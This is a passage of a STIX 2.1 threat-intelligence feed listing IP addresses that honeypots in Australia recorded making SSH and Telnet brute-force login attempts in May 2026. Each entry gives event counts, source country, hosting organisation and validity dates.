      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.27.96.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--f3fc2cf3-9881-40b9-af91-a0930873822c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.96.178.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): o****e. Passwords observed (masked): t**t.",
      "id": "indicator--b9417c90-79cb-4410-aceb-273d4d42324e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 141718. Organisation(s): haoxiangyun.",
      "id": "indicator--b66bf5f5-2dfc-4234-a971-2380e626fc91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.223.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--1229e2be-45e8-4cf7-881b-7b4e6d369622",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.43.45.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--fa21e02d-3add-4d77-80e5-cd32b3340e99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.79.38.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 9125. Organisation(s): Drustvo za telekomunikacije Orion telekom doo Beograd-Zemun.",
      "id": "indicator--f680f668-6c2e-4b5b-93e8-c23de0ed0106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.186.72.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--0ee0dacc-36d0-47e6-8dae-34b8f9bb6f2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.194.10.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--bdc4cbeb-37e2-41a6-b068-0ef276e23fe7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.194.9.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--929f160d-b1eb-4c61-82e9-482191eac8b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.132.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--d847cfb7-04a1-4ccf-88fe-a80a81dcaea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.56.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--9f1644d1-fb10-42ae-9541-a3cb65d0d99c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.140.89.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 29141. Organisation(s): Bradler & Krantz GmbH & Co. KG.",
      "id": "indicator--a147d8f5-ee32-4cd5-a048-d2c7e3981bfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.255.191.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f70bd5da-555e-4f39-b002-cb0e52b56228",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.209.96.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--4f88db98-dce1-4fe4-bac8-cb786645024c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.99.218.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--74ae2f19-9fd3-4d85-9952-eff64e420436",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.182.240.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--cf3e897c-66ce-423c-802a-5523bc16a9ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.49.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--dc41c4bd-7e2a-4e9d-ae8f-85a180a94270",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.236.216.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397423. Organisation(s): Tier.Net Technologies LLC.",
      "id": "indicator--a1f11a3d-d0bd-46b1-a14c-7f0ff38eb593",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.169.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 270207. Organisation(s): MULTICARRIER JE S. DE R.L. DE C.V..",
      "id": "indicator--a5c31491-fe82-473d-a8f1-46deb164de1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.27.192.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 23498. Organisation(s): Beanfield Technologies Inc..",
      "id": "indicator--88863721-6433-46b4-872b-889247e61888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.106.77.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--9fb9dbd5-6ffb-4f2f-9a14-fcdc22048f18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.235.26.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--b0497b52-56bd-4f7d-ad68-586f982c074e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.119.142.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--090502f9-1df6-4237-93fb-b7096cde334d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.131.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--6a2d18a5-cb72-457a-a8c1-e503c2643ec3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.136.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--94402adf-625e-4a52-9929-e2ecb52855ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.244.187.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): g**1. Passwords observed (masked): 1****6.",
      "id": "indicator--aa9ac0eb-7528-46fe-9e94-eaaeefaabe51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.66.149.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--7dfe9c9e-0826-4c37-8f64-9acd42b0fa7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 211484. Organisation(s): Ysz Trading Co., Limited.",
      "id": "indicator--dc093b4f-a8dc-4fcf-a31c-3372d0c4bd46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.135.157.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: XK. ASN(s): 206262. Organisation(s): TelKos L.L.C.",
      "id": "indicator--d3d25f56-f9a5-45c7-ad3d-376bc7aaab1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.191.165.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--ba3860f4-6f05-4fc3-af8d-2c9d313baddd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--70448c5e-d5a3-4ab7-9d1a-d2f3b49c2f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 57374. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--031e0298-89c5-40ef-852f-8e02949c4def",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.44.20.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 53181. Organisation(s): K2 Telecom e Multimidia LTDA ME.",
      "id": "indicator--b29c764f-de34-4755-899d-fc5e3c87071a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.241.76.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33387. Organisation(s): Nocix, LLC.",
      "id": "indicator--546da36b-ba9c-4903-8d0f-166d77f7a5de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.151.156.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--ce7f0a10-2f4d-4238-823c-dbd362ea8125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.153.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--61545fc5-8b73-493f-9379-fabf145e513c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.110.247.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:15:10.000Z",
      "valid_until": "2026-06-06T01:15:09.000Z"
    },
    {
      "created": "2026-05-05T01:15:10.000Z",
